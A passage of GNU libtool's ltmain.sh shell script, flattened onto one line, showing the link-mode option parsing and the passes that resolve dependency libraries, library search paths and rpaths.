"/" "" xdir="$func_dirname_result" func_lo2o "$arg" pic_object=$xdir$objdir/$func_lo2o_result non_pic_object=$xdir$func_lo2o_result func_append libobjs " $pic_object" func_append non_pic_objects " $non_pic_object" else func_fatal_error "\`$arg' is not a valid libtool object" fi fi done else func_fatal_error "link input file \`$arg' does not exist" fi arg=$save_arg prev= continue ;; precious_regex) precious_files_regex="$arg" prev= continue ;; release) release="-$arg" prev= continue ;; rpath | xrpath) # We need an absolute path. case $arg in [\\/]* | [A-Za-z]:[\\/]*) ;; *) func_fatal_error "only absolute run-paths are allowed" ;; esac if test "$prev" = rpath; then case "$rpath " in *" $arg "*) ;; *) func_append rpath " $arg" ;; esac else case "$xrpath " in *" $arg "*) ;; *) func_append xrpath " $arg" ;; esac fi prev= continue ;; shrext) shrext_cmds="$arg" prev= continue ;; weak) func_append weak_libs " $arg" prev= continue ;; xcclinker) func_append linker_flags " $qarg" func_append compiler_flags " $qarg" prev= func_append compile_command " $qarg" func_append finalize_command " $qarg" continue ;; xcompiler) func_append compiler_flags " $qarg" prev= func_append compile_command " $qarg" func_append finalize_command " $qarg" continue ;; xlinker) func_append linker_flags " $qarg" func_append compiler_flags " $wl$qarg" prev= func_append compile_command " $wl$qarg" func_append finalize_command " $wl$qarg" continue ;; *) eval "$prev=\"\$arg\"" prev= continue ;; esac fi # test -n "$prev" prevarg="$arg" case $arg in -all-static) if test -n "$link_static_flag"; then # See comment for -static flag below, for more details. func_append compile_command " $link_static_flag" func_append finalize_command " $link_static_flag" fi continue ;; -allow-undefined) # FIXME: remove this flag sometime in the future. func_fatal_error "\`-allow-undefined' must not be used because it is the default" ;; -avoid-version) avoid_version=yes continue ;; -bindir) prev=bindir continue ;; -dlopen) prev=dlfiles continue ;; -dlpreopen) prev=dlprefiles continue ;; -export-dynamic) export_dynamic=yes continue ;; -export-symbols | -export-symbols-regex) if test -n "$export_symbols" || test -n "$export_symbols_regex"; then func_fatal_error "more than one -exported-symbols argument is not allowed" fi if test "X$arg" = "X-export-symbols"; then prev=expsyms else prev=expsyms_regex fi continue ;; -framework) prev=framework continue ;; -inst-prefix-dir) prev=inst_prefix continue ;; # The native IRIX linker understands -LANG:*, -LIST:* and -LNO:* # so, if we see these flags be careful not to treat them like -L -L[A-Z][A-Z]*:*) case $with_gcc/$host in no/*-*-irix* | /*-*-irix*) func_append compile_command " $arg" func_append finalize_command " $arg" ;; esac continue ;; -L*) func_stripname "-L" '' "$arg" if test -z "$func_stripname_result"; then if test "$#" -gt 0; then func_fatal_error "require no space between \`-L' and \`$1'" else func_fatal_error "need path for \`-L' option" fi fi func_resolve_sysroot "$func_stripname_result" dir=$func_resolve_sysroot_result # We need an absolute path. case $dir in [\\/]* | [A-Za-z]:[\\/]*) ;; *) absdir=`cd "$dir" && pwd` test -z "$absdir" && \ func_fatal_error "cannot determine absolute directory name of \`$dir'" dir="$absdir" ;; esac case "$deplibs " in *" -L$dir "* | *" $arg "*) # Will only happen for absolute or sysroot arguments ;; *) # Preserve sysroot, but never include relative directories case $dir in [\\/]* | [A-Za-z]:[\\/]* | =*) func_append deplibs " $arg" ;; *) func_append deplibs " -L$dir" ;; esac func_append lib_search_path " $dir" ;; esac case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-cegcc*) testbindir=`$ECHO "$dir" | $SED 's*/lib$*/bin*'` case :$dllsearchpath: in *":$dir:"*) ;; ::) dllsearchpath=$dir;; *) func_append dllsearchpath ":$dir";; esac case :$dllsearchpath: in *":$testbindir:"*) ;; ::) dllsearchpath=$testbindir;; *) func_append dllsearchpath ":$testbindir";; esac ;; esac continue ;; -l*) if test "X$arg" = "X-lc" || test "X$arg" = "X-lm"; then case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-beos* | *-cegcc* | *-*-haiku*) # These systems don't actually have a C or math library (as such) continue ;; *-*-os2*) # These systems don't actually have a C library (as such) test "X$arg" = "X-lc" && continue ;; *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) # Do not include libc due to us having libc/libc_r. test "X$arg" = "X-lc" && continue ;; *-*-rhapsody* | *-*-darwin1.[012]) # Rhapsody C and math libraries are in the System framework func_append deplibs " System.ltframework" continue ;; *-*-sco3.2v5* | *-*-sco5v6*) # Causes problems with __ctype test "X$arg" = "X-lc" && continue ;; *-*-sysv4.2uw2* | *-*-sysv5* | *-*-unixware* | *-*-OpenUNIX*) # Compiler inserts libc in the correct place for threads to work test "X$arg" = "X-lc" && continue ;; esac elif test "X$arg" = "X-lc_r"; then case $host in *-*-openbsd* | *-*-freebsd* | *-*-dragonfly*) # Do not include libc_r directly, use -pthread flag. continue ;; esac fi func_append deplibs " $arg" continue ;; -module) module=yes continue ;; # Tru64 UNIX uses -model [arg] to determine the layout of C++ # classes, name mangling, and exception handling. # Darwin uses the -arch flag to determine output architecture. -model|-arch|-isysroot|--sysroot) func_append compiler_flags " $arg" func_append compile_command " $arg" func_append finalize_command " $arg" prev=xcompiler continue ;; -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe \ |-threads|-fopenmp|-openmp|-mp|-xopenmp|-omp|-qsmp=*) func_append compiler_flags " $arg" func_append compile_command " $arg" func_append finalize_command " $arg" case "$new_inherited_linker_flags " in *" $arg "*) ;; * ) func_append new_inherited_linker_flags " $arg" ;; esac continue ;; -multi_module) single_module="${wl}-multi_module" continue ;; -no-fast-install) fast_install=no continue ;; -no-install) case $host in *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2* | *-*-darwin* | *-cegcc*) # The PATH hackery in wrapper scripts is required on Windows # and Darwin in order for the loader to find any dlls it needs. func_warning "\`-no-install' is ignored for $host" func_warning "assuming \`-no-fast-install' instead" fast_install=no ;; *) no_install=yes ;; esac continue ;; -no-undefined) allow_undefined=no continue ;; -objectlist) prev=objectlist continue ;; -o) prev=output ;; -precious-files-regex) prev=precious_regex continue ;; -release) prev=release continue ;; -rpath) prev=rpath continue ;; -R) prev=xrpath continue ;; -R*) func_stripname '-R' '' "$arg" dir=$func_stripname_result # We need an absolute path. case $dir in [\\/]* | [A-Za-z]:[\\/]*) ;; =*) func_stripname '=' '' "$dir" dir=$lt_sysroot$func_stripname_result ;; *) func_fatal_error "only absolute run-paths are allowed" ;; esac case "$xrpath " in *" $dir "*) ;; *) func_append xrpath " $dir" ;; esac continue ;; -shared) # The effects of -shared are defined in a previous loop. continue ;; -shrext) prev=shrext continue ;; -static | -static-libtool-libs) # The effects of -static are defined in a previous loop. # We used to do the same as -all-static on platforms that # didn't have a PIC flag, but the assumption that the effects # would be equivalent was wrong. It would break on at least # Digital Unix and AIX. continue ;; -thread-safe) thread_safe=yes continue ;; -version-info) prev=vinfo continue ;; -version-number) prev=vinfo vinfo_number=yes continue ;; -weak) prev=weak continue ;; -Wc,*) func_stripname '-Wc,' '' "$arg" args=$func_stripname_result arg= save_ifs="$IFS"; IFS=',' for flag in $args; do IFS="$save_ifs" func_quote_for_eval "$flag" func_append arg " $func_quote_for_eval_result" func_append compiler_flags " $func_quote_for_eval_result" done IFS="$save_ifs" func_stripname ' ' '' "$arg" arg=$func_stripname_result ;; -Wl,*) func_stripname '-Wl,' '' "$arg" args=$func_stripname_result arg= save_ifs="$IFS"; IFS=',' for flag in $args; do IFS="$save_ifs" func_quote_for_eval "$flag" func_append arg " $wl$func_quote_for_eval_result" func_append compiler_flags " $wl$func_quote_for_eval_result" func_append linker_flags " $func_quote_for_eval_result" done IFS="$save_ifs" func_stripname ' ' '' "$arg" arg=$func_stripname_result ;; -Xcompiler) prev=xcompiler continue ;; -Xlinker) prev=xlinker continue ;; -XCClinker) prev=xcclinker continue ;; # -msg_* for osf cc -msg_*) func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" ;; # Flags to be passed through unchanged, with rationale: # -64, -mips[0-9] enable 64-bit mode for the SGI compiler # -r[0-9][0-9]* specify processor for the SGI compiler # -xarch=*, -xtarget=* enable 64-bit mode for the Sun compiler # +DA*, +DD* enable 64-bit mode for the HP compiler # -q* compiler args for the IBM compiler # -m*, -t[45]*, -txscale* architecture-specific flags for GCC # -F/path path to uninstalled frameworks, gcc on darwin # -p, -pg, --coverage, -fprofile-* profiling flags for GCC # @file GCC response files # -tp=* Portland pgcc target processor selection # --sysroot=* for sysroot support # -O*, -flto*, -fwhopr*, -fuse-linker-plugin GCC link-time optimization -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \ -O*|-flto*|-fwhopr*|-fuse-linker-plugin) func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" func_append compile_command " $arg" func_append finalize_command " $arg" func_append compiler_flags " $arg" continue ;; # Some other compiler flag. -* | +*) func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" ;; *.$objext) # A standard object. func_append objs " $arg" ;; *.lo) # A libtool-controlled object. # Check to see that this really is a libtool object. if func_lalib_unsafe_p "$arg"; then pic_object= non_pic_object= # Read the .lo file func_source "$arg" if test -z "$pic_object" || test -z "$non_pic_object" || test "$pic_object" = none && test "$non_pic_object" = none; then func_fatal_error "cannot find name of object for \`$arg'" fi # Extract subdirectory from the argument. func_dirname "$arg" "/" "" xdir="$func_dirname_result" if test "$pic_object" != none; then # Prepend the subdirectory the object is found in. pic_object="$xdir$pic_object" if test "$prev" = dlfiles; then if test "$build_libtool_libs" = yes && test "$dlopen_support" = yes; then func_append dlfiles " $pic_object" prev= continue else # If libtool objects are unsupported, then we need to preload. prev=dlprefiles fi fi # CHECK ME: I think I busted this. -Ossama if test "$prev" = dlprefiles; then # Preload the old-style object. func_append dlprefiles " $pic_object" prev= fi # A PIC object. func_append libobjs " $pic_object" arg="$pic_object" fi # Non-PIC object. if test "$non_pic_object" != none; then # Prepend the subdirectory the object is found in. non_pic_object="$xdir$non_pic_object" # A standard non-PIC object func_append non_pic_objects " $non_pic_object" if test -z "$pic_object" || test "$pic_object" = none ; then arg="$non_pic_object" fi else # If the PIC object exists, use it instead. # $xdir was prepended to $pic_object above. non_pic_object="$pic_object" func_append non_pic_objects " $non_pic_object" fi else # Only an error if not doing a dry-run. if $opt_dry_run; then # Extract subdirectory from the argument. func_dirname "$arg" "/" "" xdir="$func_dirname_result" func_lo2o "$arg" pic_object=$xdir$objdir/$func_lo2o_result non_pic_object=$xdir$func_lo2o_result func_append libobjs " $pic_object" func_append non_pic_objects " $non_pic_object" else func_fatal_error "\`$arg' is not a valid libtool object" fi fi ;; *.$libext) # An archive. func_append deplibs " $arg" func_append old_deplibs " $arg" continue ;; *.la) # A libtool-controlled library. func_resolve_sysroot "$arg" if test "$prev" = dlfiles; then # This library was specified with -dlopen. func_append dlfiles " $func_resolve_sysroot_result" prev= elif test "$prev" = dlprefiles; then # The library was specified with -dlpreopen. func_append dlprefiles " $func_resolve_sysroot_result" prev= else func_append deplibs " $func_resolve_sysroot_result" fi continue ;; # Some other compiler argument. *) # Unknown arguments in both finalize_command and compile_command need # to be aesthetically quoted because they are evaled later. func_quote_for_eval "$arg" arg="$func_quote_for_eval_result" ;; esac # arg # Now actually substitute the argument into the commands. if test -n "$arg"; then func_append compile_command " $arg" func_append finalize_command " $arg" fi done # argument parsing loop test -n "$prev" && \ func_fatal_help "the \`$prevarg' option requires an argument" if test "$export_dynamic" = yes && test -n "$export_dynamic_flag_spec"; then eval arg=\"$export_dynamic_flag_spec\" func_append compile_command " $arg" func_append finalize_command " $arg" fi oldlibs= # calculate the name of the file, without its directory func_basename "$output" outputname="$func_basename_result" libobjs_save="$libobjs" if test -n "$shlibpath_var"; then # get the directories listed in $shlibpath_var eval shlib_search_path=\`\$ECHO \"\${$shlibpath_var}\" \| \$SED \'s/:/ /g\'\` else shlib_search_path= fi eval sys_lib_search_path=\"$sys_lib_search_path_spec\" eval sys_lib_dlsearch_path=\"$sys_lib_dlsearch_path_spec\" func_dirname "$output" "/" "" output_objdir="$func_dirname_result$objdir" func_to_tool_file "$output_objdir/" tool_output_objdir=$func_to_tool_file_result # Create the object directory. func_mkdir_p "$output_objdir" # Determine the type of output case $output in "") func_fatal_help "you must specify an output file" ;; *.$libext) linkmode=oldlib ;; *.lo | *.$objext) linkmode=obj ;; *.la) linkmode=lib ;; *) linkmode=prog ;; # Anything else should be a program. esac specialdeplibs= libs= # Find all interdependent deplibs by searching for libraries # that are linked more than once (e.g. -la -lb -la) for deplib in $deplibs; do if $opt_preserve_dup_deps ; then case "$libs " in *" $deplib "*) func_append specialdeplibs " $deplib" ;; esac fi func_append libs " $deplib" done if test "$linkmode" = lib; then libs="$predeps $libs $compiler_lib_search_path $postdeps" # Compute libraries that are listed more than once in $predeps # $postdeps and mark them as special (i.e., whose duplicates are # not to be eliminated). pre_post_deps= if $opt_duplicate_compiler_generated_deps; then for pre_post_dep in $predeps $postdeps; do case "$pre_post_deps " in *" $pre_post_dep "*) func_append specialdeplibs " $pre_post_deps" ;; esac func_append pre_post_deps " $pre_post_dep" done fi pre_post_deps= fi deplibs= newdependency_libs= newlib_search_path= need_relink=no # whether we're linking any uninstalled libtool libraries notinst_deplibs= # not-installed libtool libraries notinst_path= # paths that contain not-installed libtool libraries case $linkmode in lib) passes="conv dlpreopen link" for file in $dlfiles $dlprefiles; do case $file in *.la) ;; *) func_fatal_help "libraries can \`-dlopen' only libtool libraries: $file" ;; esac done ;; prog) compile_deplibs= finalize_deplibs= alldeplibs=no newdlfiles= newdlprefiles= passes="conv scan dlopen dlpreopen link" ;; *) passes="conv" ;; esac for pass in $passes; do # The preopen pass in lib mode reverses $deplibs; put it back here # so that -L comes before libs that need it for instance... if test "$linkmode,$pass" = "lib,link"; then ## FIXME: Find the place where the list is rebuilt in the wrong ## order, and fix it there properly tmp_deplibs= for deplib in $deplibs; do tmp_deplibs="$deplib $tmp_deplibs" done deplibs="$tmp_deplibs" fi if test "$linkmode,$pass" = "lib,link" || test "$linkmode,$pass" = "prog,scan"; then libs="$deplibs" deplibs= fi if test "$linkmode" = prog; then case $pass in dlopen) libs="$dlfiles" ;; dlpreopen) libs="$dlprefiles" ;; link) libs="$deplibs %DEPLIBS%" test "X$link_all_deplibs" != Xno && libs="$libs $dependency_libs" ;; esac fi if test "$linkmode,$pass" = "lib,dlpreopen"; then # Collect and forward deplibs of preopened libtool libs for lib in $dlprefiles; do # Ignore non-libtool-libs dependency_libs= func_resolve_sysroot "$lib" case $lib in *.la) func_source "$func_resolve_sysroot_result" ;; esac # Collect preopened libtool deplibs, except any this library # has declared as weak libs for deplib in $dependency_libs; do func_basename "$deplib" deplib_base=$func_basename_result case " $weak_libs " in *" $deplib_base "*) ;; *) func_append deplibs " $deplib" ;; esac done done libs="$dlprefiles" fi if test "$pass" = dlopen; then # Collect dlpreopened libraries save_deplibs="$deplibs" deplibs= fi for deplib in $libs; do lib= found=no case $deplib in -mt|-mthreads|-kthread|-Kthread|-pthread|-pthreads|--thread-safe \ |-threads|-fopenmp|-openmp|-mp|-xopenmp|-omp|-qsmp=*) if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else func_append compiler_flags " $deplib" if test "$linkmode" = lib ; then case "$new_inherited_linker_flags " in *" $deplib "*) ;; * ) func_append new_inherited_linker_flags " $deplib" ;; esac fi fi continue ;; -l*) if test "$linkmode" != lib && test "$linkmode" != prog; then func_warning "\`-l' is ignored for archives/objects" continue fi func_stripname '-l' '' "$deplib" name=$func_stripname_result if test "$linkmode" = lib; then searchdirs="$newlib_search_path $lib_search_path $compiler_lib_search_dirs $sys_lib_search_path $shlib_search_path" else searchdirs="$newlib_search_path $lib_search_path $sys_lib_search_path $shlib_search_path" fi for searchdir in $searchdirs; do for search_ext in .la $std_shrext .so .a; do # Search the libtool library lib="$searchdir/lib${name}${search_ext}" if test -f "$lib"; then if test "$search_ext" = ".la"; then found=yes else found=no fi break 2 fi done done if test "$found" != yes; then # deplib doesn't seem to be a libtool library if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else deplibs="$deplib $deplibs" test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" fi continue else # deplib is a libtool library # If $allow_libtool_libs_with_static_runtimes && $deplib is a stdlib, # We need to do some special things here, and not later. if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then case " $predeps $postdeps " in *" $deplib "*) if func_lalib_p "$lib"; then library_names= old_library= func_source "$lib" for l in $old_library $library_names; do ll="$l" done if test "X$ll" = "X$old_library" ; then # only static version available found=no func_dirname "$lib" "" "." ladir="$func_dirname_result" lib=$ladir/$old_library if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else deplibs="$deplib $deplibs" test "$linkmode" = lib && newdependency_libs="$deplib $newdependency_libs" fi continue fi fi ;; *) ;; esac fi fi ;; # -l *.ltframework) if test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else deplibs="$deplib $deplibs" if test "$linkmode" = lib ; then case "$new_inherited_linker_flags " in *" $deplib "*) ;; * ) func_append new_inherited_linker_flags " $deplib" ;; esac fi fi continue ;; -L*) case $linkmode in lib) deplibs="$deplib $deplibs" test "$pass" = conv && continue newdependency_libs="$deplib $newdependency_libs" func_stripname '-L' '' "$deplib" func_resolve_sysroot "$func_stripname_result" func_append newlib_search_path " $func_resolve_sysroot_result" ;; prog) if test "$pass" = conv; then deplibs="$deplib $deplibs" continue fi if test "$pass" = scan; then deplibs="$deplib $deplibs" else compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" fi func_stripname '-L' '' "$deplib" func_resolve_sysroot "$func_stripname_result" func_append newlib_search_path " $func_resolve_sysroot_result" ;; *) func_warning "\`-L' is ignored for archives/objects" ;; esac # linkmode continue ;; # -L -R*) if test "$pass" = link; then func_stripname '-R' '' "$deplib" func_resolve_sysroot "$func_stripname_result" dir=$func_resolve_sysroot_result # Make sure the xrpath contains only unique directories. case "$xrpath " in *" $dir "*) ;; *) func_append xrpath " $dir" ;; esac fi deplibs="$deplib $deplibs" continue ;; *.la) func_resolve_sysroot "$deplib" lib=$func_resolve_sysroot_result ;; *.$libext) if test "$pass" = conv; then deplibs="$deplib $deplibs" continue fi case $linkmode in lib) # Linking convenience modules into shared libraries is allowed, # but linking other static libraries is non-portable. case " $dlpreconveniencelibs " in *" $deplib "*) ;; *) valid_a_lib=no case $deplibs_check_method in match_pattern*) set dummy $deplibs_check_method; shift match_pattern_regex=`expr "$deplibs_check_method" : "$1 \(.*\)"` if eval "\$ECHO \"$deplib\"" 2>/dev/null | $SED 10q \ | $EGREP "$match_pattern_regex" > /dev/null; then valid_a_lib=yes fi ;; pass_all) valid_a_lib=yes ;; esac if test "$valid_a_lib" != yes; then echo $ECHO "*** Warning: Trying to link with static lib archive $deplib." echo "*** I have the capability to make that library automatically link in when" echo "*** you link to this library. But I can only do this if you have a" echo "*** shared version of the library, which you do not appear to have" echo "*** because the file extensions .$libext of this argument makes me believe" echo "*** that it is just a static archive that I should not use here." else echo $ECHO "*** Warning: Linking the shared library $output against the" $ECHO "*** static library $deplib is not portable!" deplibs="$deplib $deplibs" fi ;; esac continue ;; prog) if test "$pass" != link; then deplibs="$deplib $deplibs" else compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" fi continue ;; esac # linkmode ;; # *.$libext *.lo | *.$objext) if test "$pass" = conv; then deplibs="$deplib $deplibs" elif test "$linkmode" = prog; then if test "$pass" = dlpreopen || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then # If there is no dlopen support or we're linking statically, # we need to preload. func_append newdlprefiles " $deplib" compile_deplibs="$deplib $compile_deplibs" finalize_deplibs="$deplib $finalize_deplibs" else func_append newdlfiles " $deplib" fi fi continue ;; %DEPLIBS%) alldeplibs=yes continue ;; esac # case $deplib if test "$found" = yes || test -f "$lib"; then : else func_fatal_error "cannot find the library \`$lib' or unhandled argument \`$deplib'" fi # Check to see that this really is a libtool archive. func_lalib_unsafe_p "$lib" \ || func_fatal_error "\`$lib' is not a valid libtool archive" func_dirname "$lib" "" "." ladir="$func_dirname_result" dlname= dlopen= dlpreopen= libdir= library_names= old_library= inherited_linker_flags= # If the library was installed with an old release of libtool, # it will not redefine variables installed, or shouldnotlink installed=yes shouldnotlink=no avoidtemprpath= # Read the .la file func_source "$lib" # Convert "-framework foo" to "foo.ltframework" if test -n "$inherited_linker_flags"; then tmp_inherited_linker_flags=`$ECHO "$inherited_linker_flags" | $SED 's/-framework \([^ $]*\)/\1.ltframework/g'` for tmp_inherited_linker_flag in $tmp_inherited_linker_flags; do case " $new_inherited_linker_flags " in *" $tmp_inherited_linker_flag "*) ;; *) func_append new_inherited_linker_flags " $tmp_inherited_linker_flag";; esac done fi dependency_libs=`$ECHO " $dependency_libs" | $SED 's% \([^ $]*\).ltframework% -framework \1%g'` if test "$linkmode,$pass" = "lib,link" || test "$linkmode,$pass" = "prog,scan" || { test "$linkmode" != prog && test "$linkmode" != lib; }; then test -n "$dlopen" && func_append dlfiles " $dlopen" test -n "$dlpreopen" && func_append dlprefiles " $dlpreopen" fi if test "$pass" = conv; then # Only check for convenience libraries deplibs="$lib $deplibs" if test -z "$libdir"; then if test -z "$old_library"; then func_fatal_error "cannot find name of link library for \`$lib'" fi # It is a libtool convenience library, so add in its objects. func_append convenience " $ladir/$objdir/$old_library" func_append old_convenience " $ladir/$objdir/$old_library" tmp_libs= for deplib in $dependency_libs; do deplibs="$deplib $deplibs" if $opt_preserve_dup_deps ; then case "$tmp_libs " in *" $deplib "*) func_append specialdeplibs " $deplib" ;; esac fi func_append tmp_libs " $deplib" done elif test "$linkmode" != prog && test "$linkmode" != lib; then func_fatal_error "\`$lib' is not a convenience library" fi continue fi # $pass = conv # Get the name of the library we link against. linklib= if test -n "$old_library" && { test "$prefer_static_libs" = yes || test "$prefer_static_libs,$installed" = "built,no"; }; then linklib=$old_library else for l in $old_library $library_names; do linklib="$l" done fi if test -z "$linklib"; then func_fatal_error "cannot find name of link library for \`$lib'" fi # This library was specified with -dlopen. if test "$pass" = dlopen; then if test -z "$libdir"; then func_fatal_error "cannot -dlopen a convenience library: \`$lib'" fi if test -z "$dlname" || test "$dlopen_support" != yes || test "$build_libtool_libs" = no; then # If there is no dlname, no dlopen support or we're linking # statically, we need to preload. We also need to preload any # dependent libraries so libltdl's deplib preloader doesn't # bomb out in the load deplibs phase. func_append dlprefiles " $lib $dependency_libs" else func_append newdlfiles " $lib" fi continue fi # $pass = dlopen # We need an absolute path. case $ladir in [\\/]* | [A-Za-z]:[\\/]*) abs_ladir="$ladir" ;; *) abs_ladir=`cd "$ladir" && pwd` if test -z "$abs_ladir"; then func_warning "cannot determine absolute directory name of \`$ladir'" func_warning "passing it literally to the linker, although it might fail" abs_ladir="$ladir" fi ;; esac func_basename "$lib" laname="$func_basename_result" # Find the relevant object directory and library name. if test "X$installed" = Xyes; then if test ! -f "$lt_sysroot$libdir/$linklib" && test -f "$abs_ladir/$linklib"; then func_warning "library \`$lib' was moved." dir="$ladir" absdir="$abs_ladir" libdir="$abs_ladir" else dir="$lt_sysroot$libdir" absdir="$lt_sysroot$libdir" fi test "X$hardcode_automatic" = Xyes && avoidtemprpath=yes else if test ! -f "$ladir/$objdir/$linklib" && test -f "$abs_ladir/$linklib"; then dir="$ladir" absdir="$abs_ladir" # Remove this search path later func_append notinst_path " $abs_ladir" else dir="$ladir/$objdir" absdir="$abs_ladir/$objdir" # Remove this search path later func_append notinst_path " $abs_ladir" fi fi # $installed = yes func_stripname 'lib' '.la' "$laname" name=$func_stripname_result # This library was specified with -dlpreopen. if test "$pass" = dlpreopen; then if test -z "$libdir" && test "$linkmode" = prog; then func_fatal_error "only libraries may -dlpreopen a convenience library: \`$lib'" fi case "$host" in # special handling for platforms with PE-DLLs. *cygwin* | *mingw* | *cegcc* ) # Linker will automatically link against shared library if both # static and shared are present. Therefore, ensure we extract # symbols from the import library if a shared library is present # (otherwise, the dlopen module name will be incorrect). We do # this by putting the import library name into $newdlprefiles. # We recover the dlopen module name by 'saving' the la file # name in a special purpose variable, and (later) extracting the # dlname from the la file. if test -n "$dlname"; then func_tr_sh "$dir/$linklib" eval "libfile_$func_tr_sh_result=\$abs_ladir/\$laname" func_append newdlprefiles " $dir/$linklib" else func_append newdlprefiles " $dir/$old_library" # Keep a list of preopened convenience libraries to check # that they are being used correctly in the link pass. test -z "$libdir" && \ func_append dlpreconveniencelibs " $dir/$old_library" fi ;; * ) # Prefer using a static library (so that no silly _DYNAMIC symbols # are required to link). if test -n "$old_library"; then func_append newdlprefiles " $dir/$old_library" # Keep a list of preopened convenience libraries to check # that they are being used correctly in the link pass. test -z "$libdir" && \ func_append dlpreconveniencelibs " $dir/$old_library" # Otherwise, use the dlname, so that lt_dlopen finds it. elif test -n "$dlname"; then func_append newdlprefiles " $dir/$dlname" else func_append newdlprefiles " $dir/$linklib" fi ;; esac fi # $pass = dlpreopen if test -z "$libdir"; then # Link the convenience library if test "$linkmode" = lib; then deplibs="$dir/$old_library $deplibs" elif test "$linkmode,$pass" = "prog,link"; then compile_deplibs="$dir/$old_library $compile_deplibs" finalize_deplibs="$dir/$old_library $finalize_deplibs" else deplibs="$lib $deplibs" # used for prog,scan pass fi continue fi if test "$linkmode" = prog && test "$pass" != link; then func_append newlib_search_path " $ladir" deplibs="$lib $deplibs" linkalldeplibs=no if test "$link_all_deplibs" != no || test -z "$library_names" || test "$build_libtool_libs" = no; then linkalldeplibs=yes fi tmp_libs= for deplib in $dependency_libs; do case $deplib in -L*) func_stripname '-L' '' "$deplib" func_resolve_sysroot "$func_stripname_result" func_append newlib_search_path " $func_resolve_sysroot_result" ;; esac # Need to link against all dependency_libs? if test "$linkalldeplibs" = yes; then deplibs="$deplib $deplibs" else # Need to hardcode shared library paths # or/and link against static libraries newdependency_libs="$deplib $newdependency_libs" fi if $opt_preserve_dup_deps ; then case "$tmp_libs " in *" $deplib "*) func_append specialdeplibs " $deplib" ;; esac fi func_append tmp_libs " $deplib" done # for deplib continue fi # $linkmode = prog... if test "$linkmode,$pass" = "prog,link"; then if test -n "$library_names" && { { test "$prefer_static_libs" = no || test "$prefer_static_libs,$installed" = "built,yes"; } || test -z "$old_library"; }; then # We need to hardcode the library path if test -n "$shlibpath_var" && test -z "$avoidtemprpath" ; then # Make sure the rpath contains only unique directories. case "$temp_rpath:" in *"$absdir:"*) ;; *) func_append temp_rpath "$absdir:" ;; esac fi # Hardcode the library path. # Skip directories that are in the system default run-time # search path. case " $sys_lib_dlsearch_path " in *" $absdir "*) ;; *) case "$compile_rpath " in *" $absdir "*) ;; *) func_append compile_rpath " $absdir" ;; esac ;; esac case " $sys_lib_dlsearch_path " in *" $libdir "*) ;; *) case "$finalize_rpath " in *" $libdir "*) ;; *) func_append finalize_rpath " $libdir" ;; esac ;; esac fi # $linkmode,$pass = prog,link... if test "$alldeplibs" = yes && { test "$deplibs_check_method" = pass_all || { test "$build_libtool_libs" = yes && test -n "$library_names"; }; }; then # We only need to search for static libraries continue fi fi link_static=no # Whether the deplib will be linked statically use_static_libs=$prefer_static_libs if test "$use_static_libs" = built && test "$installed" = yes; then use_static_libs=no fi if test -n "$library_names" && { test "$use_static_libs" = no || test -z "$old_library"; }; then case $host in *cygwin* | *mingw* | *cegcc*) # No point in relinking DLLs because paths are not encoded func_append notinst_deplibs " $lib" need_relink=no ;; *) if test "$installed" = no; then func_append notinst_deplibs " $lib" need_relink=yes fi ;; esac # This is a shared library # Warn about portability, can't link against -module's on some # systems (darwin). Don't bleat about dlopened modules though! dlopenmodule="" for dlpremoduletest in $dlprefiles; do if test "X$dlpremoduletest" = "X$lib"; then dlopenmodule="$dlpremoduletest" break fi done if test -z "$dlopenmodule" && test "$shouldnotlink" = yes && test "$pass" = link; then echo if test "$linkmode" = prog; then $ECHO "*** Warning: Linking the executable $output against the loadable module" else $ECHO "*** Warning: Linking the shared library $output against the loadable module" fi $ECHO "*** $linklib is not portable!" fi if test "$linkmode" = lib && test "$hardcode_into_libs" = yes; then # Hardcode the library path. # Skip directories that are in the system default run-time # search path. case " $sys_lib_dlsearch_path " in *" $absdir "*) ;; *) case "$compile_rpath " in *" $absdir "*) ;; *) func_append compile_rpath " $absdir" ;; esac ;; esac case " $sys_lib_dlsearch_path " in *" $libdir "*) ;; *) case "$finalize_rpath " in *" $libdir "*) ;; *) func_append finalize_rpath " $libdir" ;; esac ;; esac fi if test -n "$old_archive_from_expsyms_cmds"; then # figure out the soname set dummy $library_names shift realname="$1" shift libname=`eval "\\$ECHO \"$libname_spec\""` # use dlname if we got it. it's perfectly good, no? if test -n "$dlname"; then soname="$dlname" elif test -n "$soname_spec"; then # bleh windows case $host in *cygwin* | mingw* | *cegcc*) func_arith $current - $age major=$func_arith_result versuffix="-$major" ;; esac eval soname=\"$soname_spec\" else soname="$realname" fi # Make a new name for the extract_expsyms_cmds to use soroot="$soname" func_basename "$soroot" soname="$func_basename_result" func_stripname 'lib' '.dll' "$soname" newlib=libimp-$func_stripname_result.a # If the library has no export list, then create one now if test -f "$output_objdir/$soname-def"; then : else func_verbose "extracting exported symbol list from \`$soname'" func_execute_cmds "$extract_expsyms_cmds" 'exit $?' fi # Create $newlib if test -f "$output_objdir/$newlib"; then :; else func_verbose "generating import library for \`$soname'" func_execute_cmds "$old_archive_from_expsyms_cmds" 'exit $?' fi # make sure the library variables are pointing to the new library dir=$output_objdir 